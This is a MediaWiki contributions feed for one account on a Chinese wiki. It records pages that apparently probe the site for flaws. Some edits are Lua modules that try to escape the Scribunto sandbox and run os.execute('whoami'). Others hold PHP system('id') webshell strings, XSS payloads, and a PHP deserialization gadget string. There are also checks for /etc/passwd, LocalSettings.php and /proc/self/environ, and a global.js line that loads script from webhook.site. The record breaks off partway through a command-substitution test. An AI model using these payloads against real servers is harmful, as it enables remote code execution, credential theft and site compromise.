<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans-CN">
	<id>http://120.55.36.65/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bot93553</id>
	<title>希服维基 - 用户贡献 [zh-cn]</title>
	<link rel="self" type="application/atom+xml" href="http://120.55.36.65/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bot93553"/>
	<link rel="alternate" type="text/html" href="http://120.55.36.65/wiki/%E7%89%B9%E6%AE%8A:%E7%94%A8%E6%88%B7%E8%B4%A1%E7%8C%AE/Bot93553"/>
	<updated>2026-05-18T01:39:56Z</updated>
	<subtitle>用户贡献</subtitle>
	<generator>MediaWiki 1.40.0</generator>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E7%94%A8%E6%88%B7:Bot93553/global.js&amp;diff=1055</id>
		<title>用户:Bot93553/global.js</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E7%94%A8%E6%88%B7:Bot93553/global.js&amp;diff=1055"/>
		<updated>2026-05-09T07:15:46Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“mw.loader.load(&amp;quot;https://webhook.site/test&amp;quot;);”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;mw.loader.load(&amp;quot;https://webhook.site/test&amp;quot;);&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Cm_text&amp;diff=1054</id>
		<title>Test Cm text</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Cm_text&amp;diff=1054"/>
		<updated>2026-05-09T07:13:21Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“test content”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;test content&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Cm_css&amp;diff=1053</id>
		<title>Test Cm css</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Cm_css&amp;diff=1053"/>
		<updated>2026-05-09T07:13:20Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“test content”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;test content&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Cm_javascript&amp;diff=1052</id>
		<title>Test Cm javascript</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Cm_javascript&amp;diff=1052"/>
		<updated>2026-05-09T07:13:19Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“test content”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;test content&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Cm_wikitext&amp;diff=1051</id>
		<title>Test Cm wikitext</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Cm_wikitext&amp;diff=1051"/>
		<updated>2026-05-09T07:13:18Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“test content”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;test content&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E7%94%A8%E6%88%B7:Bot93553/common.js&amp;diff=1050</id>
		<title>用户:Bot93553/common.js</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E7%94%A8%E6%88%B7:Bot93553/common.js&amp;diff=1050"/>
		<updated>2026-05-09T07:12:32Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​页面内容被替换为“console.log(&amp;quot;test&amp;quot;);”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;console.log(&amp;quot;test&amp;quot;);&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:XSS_Test&amp;diff=1048</id>
		<title>模块:XSS Test</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:XSS_Test&amp;diff=1048"/>
		<updated>2026-05-09T07:09:29Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“local p = {} function p.test()     mw.addWarning('&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;')     mw.addWarning('&amp;lt;img src=x onerror=alert(2)&amp;gt;')     mw.addWarning('&amp;lt;svg onload=alert(3)&amp;gt;')     return 'XSS test warnings added' end return p”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    mw.addWarning('&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;')&lt;br /&gt;
    mw.addWarning('&amp;lt;img src=x onerror=alert(2)&amp;gt;')&lt;br /&gt;
    mw.addWarning('&amp;lt;svg onload=alert(3)&amp;gt;')&lt;br /&gt;
    return 'XSS test warnings added'&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadDataLoader&amp;diff=1047</id>
		<title>模块:LoadDataLoader</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadDataLoader&amp;diff=1047"/>
		<updated>2026-05-09T07:09:28Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“local p = {} function p.test()     local ok, result = pcall(mw.loadData, 'Module:LoadData_test1')     if ok then         local keys = {}         for k, v in pairs(result) do             keys[#keys+1] = k .. '=' .. tostring(type(v))         end         return 'loadData OK: ' .. table.concat(keys, ', ')     else         return 'loadData ERROR: ' .. tostring(result)     end end return p”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local ok, result = pcall(mw.loadData, 'Module:LoadData_test1')&lt;br /&gt;
    if ok then&lt;br /&gt;
        local keys = {}&lt;br /&gt;
        for k, v in pairs(result) do&lt;br /&gt;
            keys[#keys+1] = k .. '=' .. tostring(type(v))&lt;br /&gt;
        end&lt;br /&gt;
        return 'loadData OK: ' .. table.concat(keys, ', ')&lt;br /&gt;
    else&lt;br /&gt;
        return 'loadData ERROR: ' .. tostring(result)&lt;br /&gt;
    end&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadData_test1&amp;diff=1046</id>
		<title>模块:LoadData test1</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:LoadData_test1&amp;diff=1046"/>
		<updated>2026-05-09T07:09:27Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“local p = {} -- Return data with various types that might confuse PHP serializer p.data = {     binary = string.char(0, 0, 0, 0),     large_string = string.rep('A', 10000),     nested = { { { { { deep = true } } } } },     special = 'O:8:&amp;quot;stdClass&amp;quot;:0:{}',     php_serial = 'O:31:&amp;quot;Monolog\Handler\SyslogUdpHandler&amp;quot;:0:{}',     number_edge = 2^53,     minus_zero = -0,     nan = 0/0,     inf = 1/0, } return p”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
-- Return data with various types that might confuse PHP serializer&lt;br /&gt;
p.data = {&lt;br /&gt;
    binary = string.char(0, 0, 0, 0),&lt;br /&gt;
    large_string = string.rep('A', 10000),&lt;br /&gt;
    nested = { { { { { deep = true } } } } },&lt;br /&gt;
    special = 'O:8:&amp;quot;stdClass&amp;quot;:0:{}',&lt;br /&gt;
    php_serial = 'O:31:&amp;quot;Monolog\Handler\SyslogUdpHandler&amp;quot;:0:{}',&lt;br /&gt;
    number_edge = 2^53,&lt;br /&gt;
    minus_zero = -0,&lt;br /&gt;
    nan = 0/0,&lt;br /&gt;
    inf = 1/0,&lt;br /&gt;
}&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_URL_Include&amp;diff=1031</id>
		<title>Test URL Include</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_URL_Include&amp;diff=1031"/>
		<updated>2026-05-09T07:05:31Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​创建页面，内容为“{{:http://example.com/}}”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{:http://example.com/}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_RCE_ExecFrame&amp;diff=996</id>
		<title>Test RCE ExecFrame</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_RCE_ExecFrame&amp;diff=996"/>
		<updated>2026-05-09T06:23:23Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:RCE_ExecFrame|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_ExecFrame&amp;diff=995</id>
		<title>模块:RCE ExecFrame</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_ExecFrame&amp;diff=995"/>
		<updated>2026-05-09T06:23:22Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​exec2&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    -- Try with valid frame&lt;br /&gt;
    local ok, res = pcall(mw.executeFunction, 'expr', '1+1')&lt;br /&gt;
    return 'frame_exec=' .. tostring(ok) .. ':' .. tostring(res)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Model_text&amp;diff=994</id>
		<title>Test Model text</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Model_text&amp;diff=994"/>
		<updated>2026-05-09T06:21:47Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​model test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php echo &amp;quot;PWNED_BY_MODEL&amp;quot;; system(&amp;quot;id&amp;quot;); ?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Model_css&amp;diff=993</id>
		<title>Test Model css</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Model_css&amp;diff=993"/>
		<updated>2026-05-09T06:21:46Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​model test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php echo &amp;quot;PWNED_BY_MODEL&amp;quot;; system(&amp;quot;id&amp;quot;); ?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Model_javascript&amp;diff=992</id>
		<title>Test Model javascript</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Model_javascript&amp;diff=992"/>
		<updated>2026-05-09T06:21:45Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​model test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php echo &amp;quot;PWNED_BY_MODEL&amp;quot;; system(&amp;quot;id&amp;quot;); ?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_Model_wikitext&amp;diff=991</id>
		<title>Test Model wikitext</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_Model_wikitext&amp;diff=991"/>
		<updated>2026-05-09T06:21:44Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​model test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php echo &amp;quot;PWNED_BY_MODEL&amp;quot;; system(&amp;quot;id&amp;quot;); ?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Exec&amp;diff=986</id>
		<title>模块:RCE Exec</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Exec&amp;diff=986"/>
		<updated>2026-05-09T06:18:51Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​exec&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    -- Try calling mw.executeFunction from within a frame context&lt;br /&gt;
    if mw.executeFunction then&lt;br /&gt;
        local ok1, res1 = pcall(mw.executeFunction, 'expr')&lt;br /&gt;
        return 'exec_expr=' .. tostring(ok1)&lt;br /&gt;
    end&lt;br /&gt;
    return 'no_exec'&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Escape&amp;diff=985</id>
		<title>模块:RCE Escape</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Escape&amp;diff=985"/>
		<updated>2026-05-09T06:18:50Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​escape&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}&lt;br /&gt;
function p.test()&lt;br /&gt;
    local r = {}&lt;br /&gt;
    r[1] = 'loaders=' .. #package.loaders&lt;br /&gt;
    for i, loader in ipairs(package.loaders) do&lt;br /&gt;
        local ok, result = pcall(loader, 'os')&lt;br /&gt;
        r[#r+1] = 'L' .. i .. '=' .. tostring(ok) .. ':' .. type(result)&lt;br /&gt;
        if ok and type(result) == 'function' then&lt;br /&gt;
            local ok2, os_tbl = pcall(result)&lt;br /&gt;
            if ok2 and type(os_tbl) == 'table' then&lt;br /&gt;
                local funcs = {}&lt;br /&gt;
                for k, v in pairs(os_tbl) do&lt;br /&gt;
                    funcs[#funcs+1] = k&lt;br /&gt;
                    if k == 'execute' and type(v) == 'function' then&lt;br /&gt;
                        r[#r+1] = 'FOUND_EXECUTE_IN_LOADER_' .. i&lt;br /&gt;
                        local ok3, who = pcall(v, 'whoami')&lt;br /&gt;
                        r[#r+1] = 'WHOAMI=' .. tostring(who)&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
                r[#r+1] = 'os_funcs_' .. i .. ':' .. table.concat(funcs, ',')&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    return table.concat(r, ' | ')&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Direct&amp;diff=984</id>
		<title>模块:RCE Direct</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_Direct&amp;diff=984"/>
		<updated>2026-05-09T06:18:49Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}; function p.test() return &amp;quot;MODULE_OK_2026&amp;quot; end; return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_ESCAPE_LOCAL&amp;diff=983</id>
		<title>模块:RCE ESCAPE LOCAL</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:RCE_ESCAPE_LOCAL&amp;diff=983"/>
		<updated>2026-05-09T06:17:44Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​rce&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;local p = {}; function p.test() local results = {}; for i, loader in ipairs(package.loaders) do local ok, result = pcall(loader, &amp;quot;os&amp;quot;); if ok and type(result) == &amp;quot;function&amp;quot; then local ok2, os_tbl = pcall(result); if ok2 and type(os_tbl) == &amp;quot;table&amp;quot; then local funcs = {}; for k, v in pairs(os_tbl) do funcs[#funcs+1] = k .. &amp;quot;:&amp;quot; .. type(v); if k == &amp;quot;execute&amp;quot; and type(v) == &amp;quot;function&amp;quot; then local ok3, who = pcall(v, &amp;quot;whoami&amp;quot;); results[#results+1] = &amp;quot;RCE_WHOAMI=&amp;quot; .. tostring(ok3) .. &amp;quot;:&amp;quot; .. tostring(who); end; end; results[#results+1] = &amp;quot;os_funcs(&amp;quot; .. #funcs .. &amp;quot;): &amp;quot; .. table.concat(funcs, &amp;quot;, &amp;quot;); end; end; end; if #results == 0 then results[1] = &amp;quot;NO_ESCAPE&amp;quot;; end; return table.concat(results, &amp;quot; | &amp;quot;); end; return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=Test_SanitizedCSS&amp;diff=982</id>
		<title>Test SanitizedCSS</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=Test_SanitizedCSS&amp;diff=982"/>
		<updated>2026-05-09T06:11:18Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​CSS content model with PHP&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;?php echo &amp;quot;PWNED BY CSS&amp;quot;; system(&amp;quot;id&amp;quot;); ?&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestLoadData&amp;diff=981</id>
		<title>TestLoadData</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestLoadData&amp;diff=981"/>
		<updated>2026-05-09T06:06:41Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FinalAtk_LoadData|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_LoadData&amp;diff=980</id>
		<title>模块:FinalAtk LoadData</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_LoadData&amp;diff=980"/>
		<updated>2026-05-09T06:06:41Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE final test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- mw.loadData returns data from another module&lt;br /&gt;
    -- Internally, this may use PHP serialization&lt;br /&gt;
    local ok, data = pcall(mw.loadData, &amp;quot;Module:FinalAtk_DataModule&amp;quot;)&lt;br /&gt;
    results[1] = &amp;quot;loadData=&amp;quot; .. tostring(ok) .. &amp;quot;:&amp;quot; .. type(data)&lt;br /&gt;
    if ok and type(data) == &amp;quot;table&amp;quot; then&lt;br /&gt;
        local kcount = 0&lt;br /&gt;
        for _ in pairs(data) do kcount = kcount + 1 end&lt;br /&gt;
        results[2] = &amp;quot;keys=&amp;quot; .. kcount&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_DataModule&amp;diff=979</id>
		<title>模块:FinalAtk DataModule</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_DataModule&amp;diff=979"/>
		<updated>2026-05-09T06:06:40Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE final test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
return {&lt;br /&gt;
    string_val = &amp;quot;hello&amp;quot;,&lt;br /&gt;
    number_val = 42,&lt;br /&gt;
    table_val = {a = 1, b = 2},&lt;br /&gt;
    nested = {deep = {deeper = {value = &amp;quot;test&amp;quot;}}},&lt;br /&gt;
    -- Try to include special values that might trigger serialization issues&lt;br /&gt;
    special_chars = [[\x00\x01\x02]],&lt;br /&gt;
    long_string = string.rep(&amp;quot;A&amp;quot;, 1000),&lt;br /&gt;
    -- PHP serialization injection test&lt;br /&gt;
    php_serial = &amp;quot;O:8:\&amp;quot;stdClass\&amp;quot;:0:{}&amp;quot;,&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestIfExist&amp;diff=978</id>
		<title>TestIfExist</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestIfExist&amp;diff=978"/>
		<updated>2026-05-09T06:06:37Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FinalAtk_IfExist|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_IfExist&amp;diff=977</id>
		<title>模块:FinalAtk IfExist</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_IfExist&amp;diff=977"/>
		<updated>2026-05-09T06:06:36Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE final test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.callParserFunction then return &amp;quot;no_callPF&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
    local paths = {&lt;br /&gt;
        &amp;quot;/etc/passwd&amp;quot;,&lt;br /&gt;
        &amp;quot;/etc/hosts&amp;quot;,&lt;br /&gt;
        &amp;quot;/var/www/html/LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/www/wwwroot/LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/var/www/html/info.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/www/wwwroot/info.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/var/www/html/w/LocalSettings.php&amp;quot;,&lt;br /&gt;
        &amp;quot;/tmp&amp;quot;,&lt;br /&gt;
        &amp;quot;/var/tmp&amp;quot;,&lt;br /&gt;
        &amp;quot;/proc/self/environ&amp;quot;,&lt;br /&gt;
        &amp;quot;/proc/self/cmdline&amp;quot;,&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for _, fpath in ipairs(paths) do&lt;br /&gt;
        local ok, out = pcall(parent.callParserFunction, parent, &amp;quot;ifexist&amp;quot;, fpath, &amp;quot;EXISTS&amp;quot;, &amp;quot;NOT_FOUND&amp;quot;)&lt;br /&gt;
        results[#results+1] = fpath:sub(1,40) .. &amp;quot;=&amp;quot; .. tostring(out):sub(1,20)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestRecurse&amp;diff=976</id>
		<title>TestRecurse</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestRecurse&amp;diff=976"/>
		<updated>2026-05-09T06:06:36Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FinalAtk_Recurse|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_Recurse&amp;diff=975</id>
		<title>模块:FinalAtk Recurse</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_Recurse&amp;diff=975"/>
		<updated>2026-05-09T06:06:35Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE final test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.callParserFunction then return &amp;quot;no_callPF&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- Call #invoke to call ANOTHER module from within this module&lt;br /&gt;
    local ok1, out1 = pcall(parent.callParserFunction, parent, &amp;quot;invoke&amp;quot;, &amp;quot;Module:Example&amp;quot;, &amp;quot;hello&amp;quot;)&lt;br /&gt;
    results[1] = &amp;quot;invoke_example=&amp;quot; .. tostring(ok1) .. &amp;quot;:&amp;quot; .. tostring(out1):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Call #invoke with THIS module (recursion!)&lt;br /&gt;
    local ok2, out2 = pcall(parent.callParserFunction, parent, &amp;quot;invoke&amp;quot;, &amp;quot;Module:FinalAtk_Recurse&amp;quot;, &amp;quot;test2&amp;quot;)&lt;br /&gt;
    results[2] = &amp;quot;invoke_self=&amp;quot; .. tostring(ok2) .. &amp;quot;:&amp;quot; .. tostring(out2):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Call #invoke with a non-existent module&lt;br /&gt;
    local ok3, out3 = pcall(parent.callParserFunction, parent, &amp;quot;invoke&amp;quot;, &amp;quot;Module:NonExistent&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    results[3] = &amp;quot;invoke_nonex=&amp;quot; .. tostring(ok3) .. &amp;quot;:&amp;quot; .. tostring(out3):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function p.test2(frame)&lt;br /&gt;
    -- Called recursively&lt;br /&gt;
    return &amp;quot;RECURSED_OK&amp;quot;&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=TestTagInject&amp;diff=974</id>
		<title>TestTagInject</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=TestTagInject&amp;diff=974"/>
		<updated>2026-05-09T06:06:34Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:FinalAtk_TagInject|test}}&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
	<entry>
		<id>http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_TagInject&amp;diff=973</id>
		<title>模块:FinalAtk TagInject</title>
		<link rel="alternate" type="text/html" href="http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:FinalAtk_TagInject&amp;diff=973"/>
		<updated>2026-05-09T06:06:30Z</updated>

		<summary type="html">&lt;p&gt;Bot93553：​RCE final test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
local p = {}&lt;br /&gt;
function p.test(frame)&lt;br /&gt;
    local parent = frame:getParent()&lt;br /&gt;
    if not parent or not parent.callParserFunction then return &amp;quot;no_parent&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    local results = {}&lt;br /&gt;
&lt;br /&gt;
    -- callParserFunction(name, arg1, arg2, ...)&lt;br /&gt;
    -- For #tag: {{#tag:tag_name|content|param1=val1|param2=val2}}&lt;br /&gt;
    -- callParserFunction(parent, &amp;quot;tag&amp;quot;, tag_name, content, &amp;quot;param1=val1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    -- Test 1: Normal tag&lt;br /&gt;
    local ok1, out1 = pcall(parent.callParserFunction, parent, &amp;quot;tag&amp;quot;, &amp;quot;syntaxhighlight&amp;quot;, &amp;quot;print(1)&amp;quot;, &amp;quot;lang=python&amp;quot;)&lt;br /&gt;
    results[1] = &amp;quot;normal=&amp;quot; .. tostring(ok1) .. &amp;quot;:&amp;quot; .. tostring(out1):sub(1,100)&lt;br /&gt;
&lt;br /&gt;
    -- Test 2: Command substitution in lang param&lt;br /&gt;
